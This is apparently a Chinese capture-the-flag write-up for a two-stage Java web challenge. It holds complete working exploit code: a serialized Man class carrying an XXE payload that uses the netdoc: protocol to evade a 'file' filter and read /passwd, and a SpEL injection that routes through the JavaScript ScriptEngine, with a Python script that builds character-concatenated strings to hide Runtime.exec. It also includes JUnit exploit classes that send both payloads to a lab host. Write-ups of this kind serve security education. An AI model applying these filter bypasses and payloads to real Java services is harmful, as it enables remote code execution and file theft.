但是resolveClass方法限制了被反序列化的类只能是com.unctf.pojo.Man类
查看Man类,可以发现重写了readObject方法,这是Java反序列化的魔术方法,审计一下很容易发现XXE,根据代码构造XXE读passwd即可
PS: 需要注意一下本地构造时包名和serialVersionUID必须一致,此值代表了对象的版本或者说id,值不一致反序列化操作会失败
这里有个小考点,这里限制了xml数据不能含有file(大小写),而我们需要读取/passwd
这里有个trick,Java里面有个伪协议netdoc,作用和file一致,都是读取文件,所以这一步很简单,把file换成netdoc即可
注意一下本地构造包名也必须一致哦,不仅仅是类名一致就行
Man类加一个writeObject即可
详细步骤可以看看https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/exploit_300

exp

output

第二关

然后就是第二步,考点是代码执行绕过
这里有个SPEL注入,可以构造任意类,但是同样代码过滤了Runtime|ProcessBuilder|Process|class
这三个Java中执行命令的类,题目提示必须执行命令才能拿到flag,然后Java又是强类型语言,很多操作不像php那么动态,所以这一步可能会难住很多人
然后这里有个trick,java内部有个javascript的解析器,可以解析javascript,而且在javascript内还能使用java对象
我们就可以通过javascript的eval函数操作
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("xxxxxxxxx")
由于不能使用关键字,我们可以通过字符串拼接来
http://juke.outofmemory.cn/entry/358362
exp里面也有对应的转换脚本

#------------------
payload = 'new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream())).readLine()'
#------------------
exp = ""
first_flag = True
for c in payload:
    c = ord(c)
    if first_flag:
        exp += '(T(java.lang.Character).toString({0}))'.format(str(c))
    else:
        exp += '.concat(T(java.lang.Character).toString(%s))' % str(c)
    first_flag = False
print(exp)

exp

package com.unctf.pojo;

import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
//import

public class Man implements Serializable {
    public String name;
    private static final long serialVersionUID = 54618731L;

    public Man(String name) {
        this.name = name;
    }



    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException{

        String payload = "<?xml version=\"1.0\"?><!DOCTYPE name [<!ENTITY test SYSTEM 'netdoc:///passwd'>]><name>&test;</name>";

        objectOutputStream.writeInt(payload.length());
        objectOutputStream.write(payload.getBytes());

    }
    private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
        int paramInt = aInputStream.readInt();

        byte[] arrayOfByte = new byte[paramInt];

        aInputStream.read(arrayOfByte);

        ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);

        DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();

        localDocumentBuilderFactory.setNamespaceAware(true);

        DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();

        Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);

        NodeList nodeList = localDocument.getElementsByTagName("tag");

        Node node = nodeList.item(0);

        this.name = node.getTextContent();
    }
}
package com.unctf;

import com.unctf.pojo.Man;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.ByteArrayRequestEntity;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.params.HttpMethodParams;
import org.junit.Test;

import java.io.*;


public class Exp {
    @Test
    public void exp001() throws IOException {
        String url = "http://192.168.221.129:8888//server";
//        String url = "http://localhost:8080/server";

        Man person = new Man("asd");
        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/raw");


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(person);


        ByteArrayRequestEntity byteArrayRequestEntity = new ByteArrayRequestEntity(new Base64().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(byteArrayOutputStream.toByteArray());
        postMethod.setRequestEntity(byteArrayRequestEntity);

        httpClient.executeMethod(postMethod);
        String responseBodyAsString = postMethod.getResponseBodyAsString();
        postMethod.releaseConnection();
        System.out.println("-------------------------------");

        System.out.println(responseBodyAsString);
    }
    @Test
    public void exp002() throws IOException {
        String url = "http://192.168.221.129:8888//admin";



        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        postMethod.setParameter("secret","k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj");

        String shellcode="(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(66)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41))";
        String payload="T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\").eval("+shellcode+")";

//        payload = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\")";
        postMethod.setParameter("name",payload);
        httpClient.executeMethod(postMethod);
        System.out.println(postMethod.getResponseBodyAsString());
        postMethod.releaseConnection();
        }



}

output

- 阅读全文 -
This is just a placeholder img.